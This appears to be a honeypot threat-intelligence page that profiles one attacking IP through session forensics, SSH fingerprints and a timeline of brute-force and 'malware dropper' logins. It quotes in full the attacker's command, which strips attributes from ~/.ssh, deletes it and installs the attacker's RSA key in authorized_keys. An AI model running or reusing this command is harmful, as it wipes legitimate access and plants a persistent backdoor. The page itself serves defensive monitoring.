← Back to feed
Location
🇺🇸 US
ASN
AS19318 · Interserver, Inc
Cloud Provider
—
Total Events
292
Top 10% by volume
Agent Count
1
First / Last Seen
2026-04-21 18:45 — 2026-04-21 19:29
Attack Types
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Session Forensics
Sessions
44 (18 with login)
Avg Depth Score
0.42
Commands Executed
27
Files Downloaded
9
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
6298e6489f93
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
c9440a84aedc
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
560dfdff2052
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
7ab9d7e270ee
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Opportunistic Bruter
1a5eacb82b2c
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
a44ef4e831b6
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
aff9ec12ea6f
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
03a891e85d32
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Opportunistic Bruter
a8f0a93a4dc7
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
a8dc9746aefe
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
c2d5fcf8e142
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
cd339e79bbc3
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Opportunistic Bruter
8383950533d7
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
7b377f04e1b3
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
2d1884fecb31
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
66f14b485ffd
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
62cc2bf7e6a1
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
63ded1e6772e
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…